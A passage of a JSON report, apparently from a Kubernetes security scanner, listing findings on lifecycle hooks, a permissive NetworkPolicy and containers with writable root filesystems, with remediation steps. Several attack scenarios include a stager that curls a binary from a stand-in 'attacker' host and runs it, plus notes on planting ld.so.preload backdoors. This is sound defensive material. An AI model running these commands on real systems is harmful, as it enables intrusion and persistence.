      "Audit what `postStart` is doing. Common offenders: fetching secrets, editing config files, registering with a service mesh, warming a cache.",
      "Move build-time mutations into the image build itself. Anything that hits the network at `postStart` belongs in a sidecar or an init container with explicit RBAC.",
      "If the hook is genuinely needed, replace inline `sh -c \"...\"` commands with a small shell script baked into the image (e.g. `/usr/local/bin/poststart.sh`) so reviewers see exactly one auditable file.",
      "Add Kyverno (`disallow-lifecycle-exec` or a tighter `validate` that bans `sh -c` inline) to keep regressions out.",
      "Wire Falco / runtime-EDR to alert on kubelet-driven exec into long-running pods; treat lifecycle exec the same as a manual `kubectl exec`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://falco.org/docs/rules/default-rules/",
      "https://www.tigera.io/blog/kubernetes-pod-security-policies-with-tigera-secure-1-3/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Container Lifecycle Hooks",
        "url": "https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Falco — Detect kubectl exec / kubelet exec",
        "url": "https://falco.org/docs/rules/default-rules/"
      },
      {
        "title": "Tigera — Kubernetes lifecycle hooks: misuse and detection",
        "url": "https://www.tigera.io/blog/kubernetes-pod-security-policies-with-tigera-secure-1-3/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1059",
        "name": "Command and Scripting Interpreter",
        "url": "https://attack.mitre.org/techniques/T1059/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:lifecycleExec"
    ]
  },
  {
    "id": "KUBE-NETPOL-WEAKNESS-001:flat-network:allow-broad",
    "rule_id": "KUBE-NETPOL-WEAKNESS-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "lateral_movement",
    "title": "NetworkPolicy `flat-network/allow-broad` accepts ingress from any namespace via empty namespaceSelector",
    "description": "NetworkPolicy `flat-network/allow-broad` contains an ingress `from:` peer with a `namespaceSelector` that has no `matchLabels` and no `matchExpressions`. In NetworkPolicy semantics this is the special form that means \"every namespace in the cluster\", which is exactly the opposite of the Kubernetes default for `from:` peers (which is \"only the policy's own namespace\").\n\nIn multi-tenant or shared clusters the impact is direct: namespace boundaries are the cheapest soft tenancy boundary Kubernetes offers, and `namespaceSelector: {}` invalidates that boundary for the selected pods. A compromised pod in any tenant (even one with no business need to talk to these pods) has unrestricted access on the allowed ports.\n\nThe correct pattern is to scope the `namespaceSelector` to the specific labels that identify allowed source namespaces (e.g., `tenancy.example.com/team: data-platform`) and combine it with an explicit `podSelector` so only the right pods in the right namespaces can connect. Combined selectors mean \"pods matching label X in namespaces matching label Y\": the AND form, not the OR form.",
    "resource": {
      "kind": "NetworkPolicy",
      "name": "allow-broad",
      "namespace": "flat-network",
      "api_group": "networking.k8s.io"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "object",
      "detail": "NetworkPolicy `flat-network/allow-broad`: selected pods are reachable from every namespace, present and future"
    },
    "impact": "Selected workloads are reachable from any pod in any namespace on the allowed ports. This defeats namespace-based tenant isolation and invites cross-tenant lateral movement.",
    "attack_scenario": [
      "Attacker compromises a low-value pod in some other namespace (CI runner, stale demo, shared sidecar).",
      "They enumerate ClusterIP Services and notice the Service backing `allow-broad`'s pods in `flat-network`.",
      "They attempt a TCP connect from the other namespace. Under any other policy this would be denied at the CNI, but `namespaceSelector: {}` matches and the connection succeeds.",
      "They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and pivot into the high-value workload.",
      "They continue lateral motion from inside the target namespace using mounted tokens and secrets."
    ],
    "evidence": {
      "policy": "allow-broad"
    },
    "remediation": "Replace the empty `namespaceSelector` with explicit labels identifying the small set of namespaces that legitimately need access, paired with a `podSelector`.",
    "remediation_steps": [
      "Identify which namespaces actually need to reach the selected pods (often one or two; never \"all\").",
      "Label those namespaces with a stable, policy-meaningful key (e.g., `tenancy.example.com/team: data-platform`).",
      "Edit `allow-broad` to replace `namespaceSelector: {}` with `matchLabels` for the chosen label, and add a sibling `podSelector`.",
      "Validate by attempting connections from a netshoot pod in a non-allowed namespace (must time out) and from an allowed namespace (must succeed).",
      "Add a Kyverno or OPA Gatekeeper rule that warns on any new NetworkPolicy with an empty `namespaceSelector` peer."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/05-allow-traffic-from-all-namespaces.md",
      "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "ahmetb network-policy-recipes — allow traffic from all namespaces (illustrates the foot-gun)",
        "url": "https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/05-allow-traffic-from-all-namespaces.md"
      },
      {
        "title": "vCluster — NetworkPolicies for multi-tenant isolation",
        "url": "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:allNamespacesIngress"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:flat-network:api:api",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `api` has a writable root filesystem in `Deployment/flat-network/api`",
    "description": "Container `api` in `Deployment/flat-network/api` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "api"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/api -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:DaemonSet:rbac-fixtures:daemon-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `DaemonSet/rbac-fixtures/daemon-app`",
    "description": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`, runs on **every** node (per-node blast radius)"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get daemonset/daemon-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/cloud-eks-test/imds-pivot-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:cloud-eks-test:irsa-admin-app:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/cloud-eks-test/irsa-admin-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
      "Validate: `kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}'` returns `true` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/",
      "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Snyk — 10 Kubernetes security context settings you should understand",
        "url": "https://snyk.io/blog/10-kubernetes-security-context-settings-you-should-understand/"
      },
      {
        "title": "Aqua — Container persistence techniques",
        "url": "https://www.aquasec.com/cloud-native-academy/container-security/container-persistence/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      },
      {
        "id": "T1543",
        "name": "Create or Modify System Process",
        "url": "https://attack.mitre.org/techniques/T1543/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.3",
        "title": "Apply Security Context to Your Pods and Containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Immutable container file systems",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:readOnlyRootFilesystem"
    ]
  },
  {
    "id": "KUBE-PODSEC-READONLY-001:Deployment:containersec-fixtures:containersec-image:app",
    "rule_id": "KUBE-PODSEC-READONLY-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` has a writable root filesystem in `Deployment/containersec-fixtures/containersec-image`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-image` either omits `securityContext.readOnlyRootFilesystem` or sets it to `false`. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to `/usr/local/bin`, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.\n\nA writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can `chmod +x` something they wrote. Flipping the rootfs to read-only neutralises that step: every `write(2)` outside an explicitly-mounted volume returns `EROFS`, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires `readOnlyRootFilesystem: true` for this reason.\n\nLegitimate writes (caches, scratch space, runtime sockets, the JVM `/tmp` directory) belong in explicit `emptyDir` volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.",
    "attack_scenario": [
      "Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).",
      "Probe writability: `touch /usr/local/bin/x \u0026\u0026 echo writable` — succeeds because rootfs is mutable.",
      "Drop a stager: `curl -sSL http://attacker/x -o /usr/local/bin/sysd \u0026\u0026 chmod +x /usr/local/bin/sysd \u0026\u0026 /usr/local/bin/sysd \u0026`.",
      "Plant a backdoor in the application: rewrite `node_modules/.bin/`, `site-packages/...`, or `/etc/ld.so.preload` so the next request loads attacker code.",
      "Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts)."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `readOnlyRootFilesystem: true` on every container; mount `emptyDir` volumes for legitimate writable paths.",
    "remediation_steps": [
      "Identify the directories the workload actually writes to (`/tmp`, `/var/run`, `/var/cache/\u003capp\u003e`, JVM temp). Add an `emptyDir` volume and `volumeMount` for each.",
      "Set `securityContext.readOnlyRootFilesystem: true` on each container. Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `runAsNonRoot: true`.",
      "Apply Pod Security Admission `restricted` to the namespace so future regressions are blocked at admit time.",
